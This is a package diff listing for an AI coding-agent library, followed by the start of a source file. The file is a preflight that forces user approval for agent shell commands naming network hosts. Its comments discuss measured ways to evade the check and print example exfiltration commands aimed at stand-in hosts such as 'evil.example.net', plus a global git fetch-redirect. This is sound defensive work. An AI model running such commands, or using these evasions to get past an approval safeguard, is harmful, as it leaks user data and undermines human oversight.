@gaunt-sloth/core 2.0.0-alpha.8 → 2.0.0-beta.0

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (275) hide show
  1. package/.gsloth.review.md +2 -0
  2. package/README.md +71 -20
  3. package/dist/config/colour.d.ts +38 -0
  4. package/dist/config/colour.js +36 -0
  5. package/dist/config/colour.js.map +1 -0
  6. package/dist/config/configDiscovery.d.ts +79 -0
  7. package/dist/config/configDiscovery.js +80 -0
  8. package/dist/config/configDiscovery.js.map +1 -0
  9. package/dist/config/defaults.d.ts +20 -20
  10. package/dist/config/defaults.js +10 -8
  11. package/dist/config/defaults.js.map +1 -1
  12. package/dist/config/filesystem-tools.d.ts +41 -0
  13. package/dist/config/filesystem-tools.js +56 -0
  14. package/dist/config/filesystem-tools.js.map +1 -0
  15. package/dist/config/loader.d.ts +171 -19
  16. package/dist/config/loader.js +1054 -144
  17. package/dist/config/loader.js.map +1 -1
  18. package/dist/config/mouse.d.ts +50 -0
  19. package/dist/config/mouse.js +44 -0
  20. package/dist/config/mouse.js.map +1 -0
  21. package/dist/config/profiles.d.ts +68 -0
  22. package/dist/config/profiles.js +93 -0
  23. package/dist/config/profiles.js.map +1 -0
  24. package/dist/config/providerKeys.d.ts +69 -0
  25. package/dist/config/providerKeys.js +69 -0
  26. package/dist/config/providerKeys.js.map +1 -0
  27. package/dist/config/schema.d.ts +2671 -138
  28. package/dist/config/schema.js +1361 -85
  29. package/dist/config/schema.js.map +1 -1
  30. package/dist/config/shell-policy.d.ts +899 -111
  31. package/dist/config/shell-policy.js +800 -70
  32. package/dist/config/shell-policy.js.map +1 -1
  33. package/dist/config/tool-descriptions.d.ts +211 -0
  34. package/dist/config/tool-descriptions.js +272 -0
  35. package/dist/config/tool-descriptions.js.map +1 -0
  36. package/dist/config/types.d.ts +352 -41
  37. package/dist/config/types.js +1 -0
  38. package/dist/config/types.js.map +1 -1
  39. package/dist/config.d.ts +35 -1
  40. package/dist/config.js +16 -1
  41. package/dist/config.js.map +1 -1
  42. package/dist/constants.d.ts +28 -1
  43. package/dist/constants.js +28 -1
  44. package/dist/constants.js.map +1 -1
  45. package/dist/core/GthAbstractAgent.d.ts +166 -11
  46. package/dist/core/GthAbstractAgent.js +484 -45
  47. package/dist/core/GthAbstractAgent.js.map +1 -1
  48. package/dist/core/GthAgentRunner.d.ts +543 -57
  49. package/dist/core/GthAgentRunner.js +1494 -140
  50. package/dist/core/GthAgentRunner.js.map +1 -1
  51. package/dist/core/GthLangChainAgent.d.ts +117 -2
  52. package/dist/core/GthLangChainAgent.js +602 -29
  53. package/dist/core/GthLangChainAgent.js.map +1 -1
  54. package/dist/core/approvals/annotations.d.ts +122 -0
  55. package/dist/core/approvals/annotations.js +137 -0
  56. package/dist/core/approvals/annotations.js.map +1 -0
  57. package/dist/core/approvals/grants.d.ts +216 -0
  58. package/dist/core/approvals/grants.js +469 -0
  59. package/dist/core/approvals/grants.js.map +1 -0
  60. package/dist/core/approvals/matcher.d.ts +202 -0
  61. package/dist/core/approvals/matcher.js +267 -0
  62. package/dist/core/approvals/matcher.js.map +1 -0
  63. package/dist/core/approvals/mcpSubjects.d.ts +40 -0
  64. package/dist/core/approvals/mcpSubjects.js +99 -0
  65. package/dist/core/approvals/mcpSubjects.js.map +1 -0
  66. package/dist/core/approvals/promptHeader.d.ts +28 -0
  67. package/dist/core/approvals/promptHeader.js +62 -0
  68. package/dist/core/approvals/promptHeader.js.map +1 -0
  69. package/dist/core/approvals/toolAnnotationSources.d.ts +105 -0
  70. package/dist/core/approvals/toolAnnotationSources.js +277 -0
  71. package/dist/core/approvals/toolAnnotationSources.js.map +1 -0
  72. package/dist/core/approvals/toolHost.d.ts +46 -0
  73. package/dist/core/approvals/toolHost.js +108 -0
  74. package/dist/core/approvals/toolHost.js.map +1 -0
  75. package/dist/core/debugCapture.d.ts +74 -0
  76. package/dist/core/debugCapture.js +100 -0
  77. package/dist/core/debugCapture.js.map +1 -0
  78. package/dist/core/gthLeanAgentFactory.d.ts +4 -4
  79. package/dist/core/gthLeanAgentFactory.js +4 -4
  80. package/dist/core/launchBanner.d.ts +127 -0
  81. package/dist/core/launchBanner.js +414 -0
  82. package/dist/core/launchBanner.js.map +1 -0
  83. package/dist/core/modelLabel.d.ts +19 -0
  84. package/dist/core/modelLabel.js +26 -0
  85. package/dist/core/modelLabel.js.map +1 -0
  86. package/dist/core/plainToolIndication.d.ts +15 -0
  87. package/dist/core/plainToolIndication.js +174 -0
  88. package/dist/core/plainToolIndication.js.map +1 -0
  89. package/dist/core/reasoningBlocks.d.ts +65 -0
  90. package/dist/core/reasoningBlocks.js +103 -0
  91. package/dist/core/reasoningBlocks.js.map +1 -0
  92. package/dist/core/refusal.d.ts +53 -0
  93. package/dist/core/refusal.js +133 -0
  94. package/dist/core/refusal.js.map +1 -0
  95. package/dist/core/runHeader.d.ts +38 -0
  96. package/dist/core/runHeader.js +42 -0
  97. package/dist/core/runHeader.js.map +1 -0
  98. package/dist/core/runStats.d.ts +14 -3
  99. package/dist/core/runStats.js +48 -3
  100. package/dist/core/runStats.js.map +1 -1
  101. package/dist/core/shell/ShellCommandFailedError.d.ts +3 -4
  102. package/dist/core/shell/ShellCommandFailedError.js +3 -4
  103. package/dist/core/shell/ShellCommandFailedError.js.map +1 -1
  104. package/dist/core/shell/abstention.d.ts +88 -0
  105. package/dist/core/shell/abstention.js +184 -0
  106. package/dist/core/shell/abstention.js.map +1 -0
  107. package/dist/core/shell/approvalCapture.d.ts +271 -0
  108. package/dist/core/shell/approvalCapture.js +108 -0
  109. package/dist/core/shell/approvalCapture.js.map +1 -0
  110. package/dist/core/shell/approvalStop.d.ts +123 -0
  111. package/dist/core/shell/approvalStop.js +269 -0
  112. package/dist/core/shell/approvalStop.js.map +1 -0
  113. package/dist/core/shell/arity.d.ts +6 -0
  114. package/dist/core/shell/arity.js +20 -6
  115. package/dist/core/shell/arity.js.map +1 -1
  116. package/dist/core/shell/denylist.d.ts +11 -0
  117. package/dist/core/shell/denylist.js +37 -0
  118. package/dist/core/shell/denylist.js.map +1 -0
  119. package/dist/core/shell/escalationSeverity.d.ts +141 -0
  120. package/dist/core/shell/escalationSeverity.js +89 -0
  121. package/dist/core/shell/escalationSeverity.js.map +1 -0
  122. package/dist/core/shell/framing.d.ts +190 -0
  123. package/dist/core/shell/framing.js +633 -0
  124. package/dist/core/shell/framing.js.map +1 -0
  125. package/dist/core/shell/hardline.d.ts +103 -0
  126. package/dist/core/shell/hardline.js +780 -0
  127. package/dist/core/shell/hardline.js.map +1 -0
  128. package/dist/core/shell/negotiation.d.ts +328 -0
  129. package/dist/core/shell/negotiation.js +488 -0
  130. package/dist/core/shell/negotiation.js.map +1 -0
  131. package/dist/core/shell/normalize.d.ts +44 -4
  132. package/dist/core/shell/normalize.js +61 -7
  133. package/dist/core/shell/normalize.js.map +1 -1
  134. package/dist/core/shell/openWorld.d.ts +263 -0
  135. package/dist/core/shell/openWorld.js +1188 -0
  136. package/dist/core/shell/openWorld.js.map +1 -0
  137. package/dist/core/shell/rater.d.ts +873 -0
  138. package/dist/core/shell/rater.js +1454 -0
  139. package/dist/core/shell/rater.js.map +1 -0
  140. package/dist/core/shell/raterModel.d.ts +41 -0
  141. package/dist/core/shell/raterModel.js +51 -0
  142. package/dist/core/shell/raterModel.js.map +1 -0
  143. package/dist/core/shell/raterVocabulary.d.ts +121 -0
  144. package/dist/core/shell/raterVocabulary.js +116 -0
  145. package/dist/core/shell/raterVocabulary.js.map +1 -0
  146. package/dist/core/shell/rejection.d.ts +69 -0
  147. package/dist/core/shell/rejection.js +38 -0
  148. package/dist/core/shell/rejection.js.map +1 -0
  149. package/dist/core/toolCallRepair/grammar.d.ts +41 -0
  150. package/dist/core/toolCallRepair/grammar.js +116 -0
  151. package/dist/core/toolCallRepair/grammar.js.map +1 -0
  152. package/dist/core/toolCallRepair/index.d.ts +2 -0
  153. package/dist/core/toolCallRepair/index.js +7 -0
  154. package/dist/core/toolCallRepair/index.js.map +1 -0
  155. package/dist/core/toolCallRepair/payload.d.ts +36 -0
  156. package/dist/core/toolCallRepair/payload.js +341 -0
  157. package/dist/core/toolCallRepair/payload.js.map +1 -0
  158. package/dist/core/toolCallRepair/promote.d.ts +45 -0
  159. package/dist/core/toolCallRepair/promote.js +90 -0
  160. package/dist/core/toolCallRepair/promote.js.map +1 -0
  161. package/dist/core/toolDisplay.d.ts +123 -0
  162. package/dist/core/toolDisplay.js +451 -0
  163. package/dist/core/toolDisplay.js.map +1 -0
  164. package/dist/core/toolOutputChannel.d.ts +95 -0
  165. package/dist/core/toolOutputChannel.js +165 -0
  166. package/dist/core/toolOutputChannel.js.map +1 -0
  167. package/dist/core/types.d.ts +349 -16
  168. package/dist/core/types.js.map +1 -1
  169. package/dist/history/historyFormat.d.ts +12 -3
  170. package/dist/history/historyFormat.js +50 -8
  171. package/dist/history/historyFormat.js.map +1 -1
  172. package/dist/history/historyStore.d.ts +77 -0
  173. package/dist/history/historyStore.js +173 -6
  174. package/dist/history/historyStore.js.map +1 -1
  175. package/dist/history/recordSession.d.ts +10 -1
  176. package/dist/history/recordSession.js +27 -0
  177. package/dist/history/recordSession.js.map +1 -1
  178. package/dist/providers/anthropic.js +12 -0
  179. package/dist/providers/anthropic.js.map +1 -1
  180. package/dist/providers/configurationPassthrough.d.ts +107 -0
  181. package/dist/providers/configurationPassthrough.js +148 -0
  182. package/dist/providers/configurationPassthrough.js.map +1 -0
  183. package/dist/providers/geminiSchemaSanitizer.d.ts +55 -0
  184. package/dist/providers/geminiSchemaSanitizer.js +347 -0
  185. package/dist/providers/geminiSchemaSanitizer.js.map +1 -0
  186. package/dist/providers/geminiThinking.d.ts +60 -0
  187. package/dist/providers/geminiThinking.js +92 -0
  188. package/dist/providers/geminiThinking.js.map +1 -0
  189. package/dist/providers/google-genai.js +18 -1
  190. package/dist/providers/google-genai.js.map +1 -1
  191. package/dist/providers/groq.js +12 -0
  192. package/dist/providers/groq.js.map +1 -1
  193. package/dist/providers/huggingface.d.ts +25 -0
  194. package/dist/providers/huggingface.js +69 -0
  195. package/dist/providers/huggingface.js.map +1 -0
  196. package/dist/providers/modelCatalog.d.ts +109 -0
  197. package/dist/providers/modelCatalog.js +245 -0
  198. package/dist/providers/modelCatalog.js.map +1 -0
  199. package/dist/providers/modelDiscovery.d.ts +99 -5
  200. package/dist/providers/modelDiscovery.js +191 -35
  201. package/dist/providers/modelDiscovery.js.map +1 -1
  202. package/dist/providers/ollama.d.ts +18 -4
  203. package/dist/providers/ollama.js +67 -37
  204. package/dist/providers/ollama.js.map +1 -1
  205. package/dist/providers/openai.js +34 -0
  206. package/dist/providers/openai.js.map +1 -1
  207. package/dist/providers/openrouter.d.ts +26 -4
  208. package/dist/providers/openrouter.js +83 -26
  209. package/dist/providers/openrouter.js.map +1 -1
  210. package/dist/providers/vertexai.js +19 -1
  211. package/dist/providers/vertexai.js.map +1 -1
  212. package/dist/providers/xai.js +20 -0
  213. package/dist/providers/xai.js.map +1 -1
  214. package/dist/runtime/askStructured.d.ts +105 -0
  215. package/dist/runtime/askStructured.js +120 -0
  216. package/dist/runtime/askStructured.js.map +1 -0
  217. package/dist/runtime/conversation.d.ts +64 -0
  218. package/dist/runtime/conversation.js +171 -0
  219. package/dist/runtime/conversation.js.map +1 -0
  220. package/dist/runtime/singleShot.d.ts +37 -6
  221. package/dist/runtime/singleShot.js +113 -67
  222. package/dist/runtime/singleShot.js.map +1 -1
  223. package/dist/runtime/structuredOutput.d.ts +104 -0
  224. package/dist/runtime/structuredOutput.js +393 -0
  225. package/dist/runtime/structuredOutput.js.map +1 -0
  226. package/dist/utils/ProgressIndicator.d.ts +21 -0
  227. package/dist/utils/ProgressIndicator.js +30 -3
  228. package/dist/utils/ProgressIndicator.js.map +1 -1
  229. package/dist/utils/aiignoreUtils.js.map +1 -1
  230. package/dist/utils/binaryOutputUtils.js.map +1 -1
  231. package/dist/utils/consoleUtils.d.ts +95 -0
  232. package/dist/utils/consoleUtils.js +112 -2
  233. package/dist/utils/consoleUtils.js.map +1 -1
  234. package/dist/utils/crashHandler.d.ts +87 -0
  235. package/dist/utils/crashHandler.js +128 -0
  236. package/dist/utils/crashHandler.js.map +1 -0
  237. package/dist/utils/debugDump.d.ts +134 -0
  238. package/dist/utils/debugDump.js +381 -0
  239. package/dist/utils/debugDump.js.map +1 -0
  240. package/dist/utils/debugUtils.d.ts +13 -4
  241. package/dist/utils/debugUtils.js +36 -13
  242. package/dist/utils/debugUtils.js.map +1 -1
  243. package/dist/utils/displayWidth.d.ts +53 -0
  244. package/dist/utils/displayWidth.js +195 -0
  245. package/dist/utils/displayWidth.js.map +1 -0
  246. package/dist/utils/fileUtils.js.map +1 -1
  247. package/dist/utils/globalConfigUtils.d.ts +14 -2
  248. package/dist/utils/globalConfigUtils.js +22 -4
  249. package/dist/utils/globalConfigUtils.js.map +1 -1
  250. package/dist/utils/llmUtils.d.ts +39 -8
  251. package/dist/utils/llmUtils.js +76 -8
  252. package/dist/utils/llmUtils.js.map +1 -1
  253. package/dist/utils/redactSecrets.d.ts +63 -0
  254. package/dist/utils/redactSecrets.js +286 -0
  255. package/dist/utils/redactSecrets.js.map +1 -0
  256. package/dist/utils/systemPromptNotes.d.ts +222 -0
  257. package/dist/utils/systemPromptNotes.js +338 -0
  258. package/dist/utils/systemPromptNotes.js.map +1 -0
  259. package/dist/utils/systemUtils.d.ts +18 -1
  260. package/dist/utils/systemUtils.js +38 -3
  261. package/dist/utils/systemUtils.js.map +1 -1
  262. package/dist/utils/toolMatching.d.ts +30 -0
  263. package/dist/utils/toolMatching.js +44 -0
  264. package/dist/utils/toolMatching.js.map +1 -0
  265. package/dist/utils/untrustedText.d.ts +86 -0
  266. package/dist/utils/untrustedText.js +101 -0
  267. package/dist/utils/untrustedText.js.map +1 -0
  268. package/package.json +21 -7
  269. package/schema/gsloth-config.schema.json +1921 -326
  270. package/dist/core/shell/allowlist.d.ts +0 -75
  271. package/dist/core/shell/allowlist.js +0 -187
  272. package/dist/core/shell/allowlist.js.map +0 -1
  273. package/dist/core/shell/judge.d.ts +0 -161
  274. package/dist/core/shell/judge.js +0 -261
  275. package/dist/core/shell/judge.js.map +0 -1
@@ -0,0 +1,1188 @@
1
+ /**
2
+ * @module core/shell/openWorld
3
+ *
4
+ * EXT-61 (spec §4.6) — the **open-world preflight**: a deterministic, model-free check for a
5
+ * **host literal in a fetch/transfer position**. A command that carries one is floored at
6
+ * `destructive` before the rater is ever called ({@link import('./rater.js').mapVerdictToAction}),
7
+ * so it is always asked about and can never be auto-approved.
8
+ *
9
+ * ## Why this is not a trust judgement, and must never become one
10
+ *
11
+ * §4.1.1(4) asks the rater to tell `registry.npmjs.org` from `registry.npmjs.ag`. **Both a cheap
12
+ * model and a working developer were measured failing exactly that** — the developer flagged the
13
+ * *genuine* registry as destructive, i.e. did not discriminate hostnames in either direction. This
14
+ * preflight does not answer that question, it **deletes** it: both hostnames floor, both are asked
15
+ * about, and no misreading of a hostname can produce an auto-approve.
16
+ *
17
+ * It therefore needs **no list of good hosts**, and that is precisely what makes it immune to the
18
+ * attack it defends against — there is nothing to spoof into. If host trust is ever wanted it MUST
19
+ * be a deterministic exact-match list in code (§4.1.1), never a model call. The user-facing escape
20
+ * hatch already exists and is `approvals.allow` (§3), which is consulted *before* the rater and
21
+ * therefore before this.
22
+ *
23
+ * ## THE ERROR COST IS INVERTED RELATIVE TO THE §8 HARDLINE — read this before editing
24
+ *
25
+ * The hardline **refuses**, unappealably, under every rung including `bypass`, so a false positive
26
+ * there is unrecoverable and EXT-60 correctly narrowed its patterns until they were gone, accepting
27
+ * misses. **This preflight only RAISES.** It floors at `destructive`, which means the user is
28
+ * *asked*. So:
29
+ *
30
+ * - a **false positive costs one prompt** — annoying, recoverable, visible;
31
+ * - an **evasion costs the whole point of the node**, because the rater then decides alone on a host
32
+ * literal, which is the discrimination both a cheap model and a working developer were measured
33
+ * failing.
34
+ *
35
+ * **So this layer errs toward OVER-matching.** That is the opposite of the hardline's calculus, and
36
+ * it is why the shapes below prefer "any operand is a listed git subcommand" over enumerating git's
37
+ * arg-taking global flags: an enumeration closes today's hole and reopens it for the next flag added
38
+ * upstream. The one hard limit is unchanged and non-negotiable: **never fire on the mere presence of
39
+ * a URL anywhere in the string**, because `git commit -m "closes https://…"` must stay silent.
40
+ *
41
+ * ## TWO CONSUMERS, TWO INPUT SETS — read this before merging them back together
42
+ *
43
+ * This module answers the host question for **two** callers whose error costs differ, so it has two
44
+ * entry points and they are deliberately not the same function:
45
+ *
46
+ * - {@link findOpenWorldHostLiterals} — **the floor**. Its finding rewrites a `safe` verdict to
47
+ * `destructive` with no model in the loop, so it fires only where the parser resolved the whole
48
+ * command. "The parser could not resolve this" is a fact about the checker, not a detection about
49
+ * the command, and this layer floors only what is deterministically known.
50
+ * - {@link findComposedOpenWorld} — **the note**. It reads the parts of a command the parser could
51
+ * NOT resolve as a whole, and its finding is handed to the rater as context. It changes no
52
+ * outcome by itself.
53
+ *
54
+ * **The error-cost regime is the third distinct one in this codebase, and it is the widest — about
55
+ * WHICH HOSTS ARE NAMED.** The §8 hardline REFUSES unappealably, so it must be the narrowest. This
56
+ * module's floor RAISES a prompt, so it over-matches (below). Naming a host in the note only
57
+ * INFORMS THE MODEL: a host named that turns out not to be contacted costs one sentence of
58
+ * attention and no interruption at all. So do not "fix" a note false positive by narrowing the host
59
+ * extractor; that trades a free cost for a silent one.
60
+ *
61
+ * **That licence covers which hosts are named. It does not cover WHAT THE NOTE SAYS THEY DO.** A
62
+ * flow sentence asserts a mechanism — that fetched bytes are executed, that a file's contents are
63
+ * sent — and the rater cannot check that against a shell; it can only believe it. A mechanism that
64
+ * is false on an ordinary command is this node's own named failure mode arriving one layer in: an
65
+ * escalation laundered through the model instead of the parser, unfalsifiable because a note said
66
+ * it. So each flow arm fires only where its claim is **true of the program named**, and everything
67
+ * else falls through to the flowless sentence — which still names the hosts and says outright that
68
+ * the flow is not known. Saying less is not a loss of assistance; asserting a false mechanism is a
69
+ * loss of the layer.
70
+ *
71
+ * **And a flow sentence names EVERY host of the part it describes**, for the reason
72
+ * {@link findOpenWorldHostLiterals} returns every match rather than the first: the first is the
73
+ * proxy, and a sentence that names the reassuring host while hiding the other is worse than no
74
+ * sentence.
75
+ *
76
+ * ## The shape of the matcher
77
+ *
78
+ * Ported from the measured prototype (`project-takahe _spikes/open-world-preflight/`).
79
+ *
80
+ * 1. **Decline on anything unclassifiable** — for the FLOOR only. {@link classifyCommand} returns
81
+ * `null` on any composition (separator, line break, `$(…)`, backtick, redirection), and a
82
+ * deterministic floor must not claim "it names a host" about a string whose target it could not
83
+ * statically resolve. The note path picks those up instead, by reading the parts.
84
+ * 2. **Step past wrappers** (`sudo -u root`, `env FOO=1`, `nohup --`, …) to the head.
85
+ * 3. **Look the head up** in {@link NETWORK_HEADS}, keyed by *where a host may legitimately appear*.
86
+ * 4. **Test only the candidate operands** for a host literal.
87
+ *
88
+ * **The head gate does nearly all of the work, and it is what keeps the false-positive rate at
89
+ * zero.** A URL under a head that cannot reach the network is not a fetch, so `echo`, `grep`, `sed`
90
+ * and — the case that would have sunk this design — `git commit -m "closes https://…"` all fall out
91
+ * for free.
92
+ *
93
+ * **The project's own configured destinations are not host literals.** `git push origin main`,
94
+ * `npm install lodash` and `ssh myserver` name no host — they resolve one from `.git/config`,
95
+ * `.npmrc` and `~/.ssh/config` — so they stay `safe`, which is what keeps the corpus's
96
+ * `routine-mutating` family unprompted.
97
+ *
98
+ * ## Known false positives, each DECLINED because the available fix costs an evasion
99
+ *
100
+ * Measured over a 332-command sweep of realistic developer commands (7 hits, 3 classes). Each costs
101
+ * one prompt. **Do not "fix" one of these without re-measuring the counter-cost named beside it** —
102
+ * every one of them was attempted and reverted:
103
+ *
104
+ * - **A dotted git refspec** — `git push origin my.branch:main`, `git push origin
105
+ * release.candidate:main`. A dotted branch name is syntactically a hostname. The version-tag form
106
+ * (`v1.2.3:refs/tags/…`) is fixed by {@link HOST_COLON_PATH_RE}'s letters-only TLD rule; what is
107
+ * left needs a dotted *branch*. Requiring a `/` after the colon kills it and silences
108
+ * `scp secret evil.example.net:loot`, `scp ./db.dump evil.example.net:~` and
109
+ * `rsync -a /srv/ evil.example.net:backup`.
110
+ * - **An email under a git subcommand word** — `git log --author jo@example.com --grep push`. The
111
+ * `--author` value is a positional and `push` opens the gate. The repair ("an operand preceded by
112
+ * a flag is that flag's value") silences **two** evasions: `git --no-pager clone <URL>` and
113
+ * `git --quiet fetch <URL>`, both measured.
114
+ * - **An email address under a `git` subcommand word** — also `git config user.email
115
+ * jo@example.com`, which is the measured price of putting `config` in the subcommand set (one
116
+ * prompt per machine setup, against a silent global fetch-redirect).
117
+ *
118
+ * The `http`-behind-a-wrapper false positive (`sudo grep -rn http example.com/`) that was declined
119
+ * here in an earlier round is **gone**: it needed the scheme-less rule at a position where the
120
+ * command had already appeared, which is exactly what {@link HeadTier} withholds.
121
+ *
122
+ * And one that is intended by the rule rather than a defect: a **loopback IP** floors
123
+ * (`nc -z -v 127.0.0.1 22`) while `localhost:3000` does not, because an IP is a host literal and a
124
+ * bare name is not. Carving loopback out needs a second address-classification rule with its own
125
+ * false-positive surface, for a one-prompt gain.
126
+ */
127
+ import { classifyCommand, tokenize } from '#src/core/shell/arity.js';
128
+ import { normalizeCommand } from '#src/core/shell/normalize.js';
129
+ /**
130
+ * Wrapper binaries that delegate to the *next* command, so the head to test sits behind them.
131
+ *
132
+ * **This list OVERLAPS the hardline's; it is not the same list, and the behaviour is different
133
+ * again.** `hardline.ts` has `sudo`, `env VAR=VAL`, `exec`, `nohup`, `setsid` and `time`, and no
134
+ * `doas` at all (`grep -c doas` → 0); its prefix fragment `(?:sudo\s+(?:-[^\s]+\s+)*)?` consumes
135
+ * sudo's flags but not a flag's *operand*, which is right for a refusal layer where over-consuming
136
+ * would refuse more.
137
+ *
138
+ * Here the cost runs the other way (see the module docblock), so wrapper handling does **not** try to
139
+ * find "the" head at all — it treats every position after a wrapper as a possible head and unions
140
+ * the results ({@link headCandidates}). Two earlier revisions of this comment claimed a parity that
141
+ * did not hold, and each time a real evasion hid behind the claim: first `sudo -u root curl https://…`
142
+ * (the loop stopped at the flag), then `sudo -u git curl https://…` (the scan latched onto the
143
+ * USERNAME `git`, which is a head name, and inherited its subcommand rule). **A comment asserting a
144
+ * property this code does not have is how both of those became inheritable**, so this one states the
145
+ * mechanism instead of a comparison.
146
+ */
147
+ const WRAPPERS = new Set([
148
+ 'sudo',
149
+ 'doas',
150
+ 'exec',
151
+ 'nohup',
152
+ 'setsid',
153
+ 'time',
154
+ 'env',
155
+ ]);
156
+ /**
157
+ * Package-manager subcommands whose `--` hands the rest of the argv to a SCRIPT rather than to the
158
+ * package manager. Deliberately just these two: for every other subcommand `--` is an ordinary
159
+ * end-of-options marker and the operands after it are still the package manager's own.
160
+ */
161
+ const RUN_SUBCOMMANDS = new Set(['run', 'run-script']);
162
+ /** A leading `VAR=value` assignment, which precedes the real head exactly like a wrapper does. */
163
+ const ENV_ASSIGNMENT_RE = /^[A-Za-z_][A-Za-z0-9_]*=/;
164
+ /**
165
+ * The network-capable heads, and where a host may appear under each.
166
+ *
167
+ * **This table is INCOMPLETE BY CONSTRUCTION and that is a design decision, not an oversight** —
168
+ * `svn`, `hg`, `mvn`, `gradle`, `kubectl`, `docker`, `gh`, `deno`, `go`, `cargo`, `helm`, `brew` and
169
+ * `terraform` all reach the network and are deliberately absent. Adding one is cheap and safe (a
170
+ * miss becomes a prompt); what is *not* safe is widening a head's `HostPosition` so that an ordinary
171
+ * LOCAL operand starts reading as a fetch target — that is the one edit that can put a filename in
172
+ * front of the user as a "host". Weigh any addition against the must-NOT-fire probes in
173
+ * `spec/shellOpenWorld.spec.ts`, not against the corpus — the corpus has almost no coverage of that
174
+ * direction (see that spec's docblock).
175
+ *
176
+ * A `Map`, not an object literal, on purpose: the head comes from an attacker-influenceable command
177
+ * string, and `NET['constructor']` on a plain object resolves through the prototype chain to
178
+ * something that is not an entry of this table. The same hazard is documented at
179
+ * {@link import('./rater.js').isBelowDestructiveFloor}.
180
+ */
181
+ const NETWORK_HEADS = new Map([
182
+ // Fetchers / transfer agents whose operands are ENDPOINTS, not local files: a scheme-less
183
+ // `example.com/install.sh` is a fetch here and nothing else.
184
+ ['curl', { kind: 'all', bareHost: true }],
185
+ ['wget', { kind: 'all', bareHost: true }],
186
+ ['aria2c', { kind: 'all', bareHost: true }],
187
+ ['http', { kind: 'all', bareHost: true }], // httpie
188
+ ['httpie', { kind: 'all', bareHost: true }],
189
+ ['xh', { kind: 'all', bareHost: true }],
190
+ ['nc', { kind: 'all', bareHost: true }],
191
+ ['ncat', { kind: 'all', bareHost: true }],
192
+ ['netcat', { kind: 'all', bareHost: true }],
193
+ ['telnet', { kind: 'all', bareHost: true }],
194
+ ['ssh', { kind: 'all', bareHost: true }],
195
+ ['sftp', { kind: 'all', bareHost: true }],
196
+ ['ftp', { kind: 'all', bareHost: true }],
197
+ // Transfer agents that take LOCAL paths beside remote ones — no bare-host rule, or `./my.dir/x`
198
+ // would be offered to the user as a hostname.
199
+ ['scp', { kind: 'all' }],
200
+ ['rsync', { kind: 'all' }],
201
+ // Cloud CLIs — a bucket/object URI is a host literal (`s3://…`, `gs://…`).
202
+ ['aws', { kind: 'all' }],
203
+ ['gsutil', { kind: 'all' }],
204
+ ['az', { kind: 'all' }],
205
+ // `git` only where a URL stands in for a configured remote. `git commit -m "…https://…"` and
206
+ // `git tag -a v1 -m "see https://…"` are NOT fetches, and prompting on them would be a worse
207
+ // annoyance regression than the one this preflight was built to avoid.
208
+ //
209
+ // **`config` is in this set deliberately, and it widens the design — do not "simplify" it out.**
210
+ // The rest of this module rests on *a URL under a head that cannot reach the network is not a
211
+ // fetch*, which is true of `git commit -m`, where the URL is prose. A config write is not prose:
212
+ // it is a STORED FETCH TARGET, which is the same thing `--registry` is, and
213
+ // `npm config set registry https://…` has always floored here. Without it git contradicted
214
+ // itself — `git remote set-url origin <URL>` floored while `git config remote.origin.url <URL>`,
215
+ // the identical write to the identical file, was auto-approved — and, worse,
216
+ // `git config --global url.https://evil/.insteadOf https://github.com/` silently redirected EVERY
217
+ // FUTURE GITHUB FETCH ON THE MACHINE, persistently, which is strictly worse than the one-shot
218
+ // fetch that did floor. Measured price: two false positives, both `git config user.email
219
+ // <address>`, i.e. one prompt per machine setup. `git config user.name`, `--list`, `--get`,
220
+ // `--unset`, `core.editor` and `alias.*` carry no host literal and stay silent.
221
+ [
222
+ 'git',
223
+ {
224
+ kind: 'subcommand',
225
+ subcommands: new Set([
226
+ 'clone',
227
+ 'push',
228
+ 'pull',
229
+ 'fetch',
230
+ 'remote',
231
+ 'submodule',
232
+ 'ls-remote',
233
+ 'archive',
234
+ 'config',
235
+ ]),
236
+ },
237
+ ],
238
+ // Package managers. The configured default registry in `.npmrc` is not a host literal, so
239
+ // `npm install lodash` stays unprompted — but an `--registry`/`--index-url` override is, and so is
240
+ // a URL in the install-target position (`npm install https://…/pkg.tgz` fetches remote code and
241
+ // then runs its lifecycle scripts).
242
+ ['npm', { kind: 'flag', flags: new Set(['--registry']) }],
243
+ ['pnpm', { kind: 'flag', flags: new Set(['--registry']) }],
244
+ ['yarn', { kind: 'flag', flags: new Set(['--registry']) }],
245
+ ['npx', { kind: 'flag', flags: new Set(['--registry']) }],
246
+ ['pip', { kind: 'flag', flags: new Set(['--index-url', '--extra-index-url', '-i']) }],
247
+ ['pip3', { kind: 'flag', flags: new Set(['--index-url', '--extra-index-url', '-i']) }],
248
+ ]);
249
+ /** `scheme://…` — `https`, `http`, `ftp`, `s3`, `gs`, `git+ssh`, anything. */
250
+ const SCHEME_RE = /^[a-z][a-z0-9+.-]*:\/\//i;
251
+ /** `user@host` (`deploy@myhost:/srv/`, `git@github.com:owner/repo.git`). */
252
+ const USER_AT_HOST_RE = /^[^@\s/]+@[a-z0-9._-]+(:|$)/i;
253
+ /**
254
+ * A bare IPv4 target, with or without a port or path — but **not** a CIDR mask.
255
+ *
256
+ * `192.168.1.0/24` is a network range, not a counterparty, and it appears in ordinary firewall work
257
+ * (`ufw allow ssh from 192.168.1.0/24`, `iptables … -s 203.0.113.0/24`) where a head name also sits
258
+ * in an argument position. `203.0.113.9/payload` is a fetch and still matches; the exclusion is only
259
+ * a trailing `/` plus one or two digits and nothing else, which no fetch path realistically is.
260
+ */
261
+ const IPV4_RE = /^(\d{1,3}\.){3}\d{1,3}(:|\/(?!\d{1,2}$)|$)/;
262
+ /**
263
+ * A bracketed IPv6 target — `[2001:db8::1]`, `[::1]:8080/x`. The scheme form already matched via
264
+ * {@link SCHEME_RE}; this is the bare one. A bracketed operand is otherwise unheard of in a shell
265
+ * command, so the false-positive cost is nil.
266
+ */
267
+ const IPV6_RE = /^\[[0-9a-f:.]+\](:\d+)?(\/|$)/i;
268
+ /**
269
+ * scp/rsync `host.tld:path` with no scheme. The `(?!\/\/)` keeps it from re-matching a scheme.
270
+ *
271
+ * The final label must be **letters, two or more** — a real TLD never is anything else (RFC 3696;
272
+ * an all-numeric final label is an address, and {@link IPV4_RE} owns that). Without that clause the
273
+ * pattern read a dotted **git refspec** as a host: `git push origin v1.2.3:refs/tags/v1.2.3` floored,
274
+ * which is routine release work and exactly the annoyance regression §4.6 is built to avoid.
275
+ */
276
+ const HOST_COLON_PATH_RE = /^[a-z0-9-]+(\.[a-z0-9-]+)*\.[a-z]{2,}:(?!\/\/)/i;
277
+ /**
278
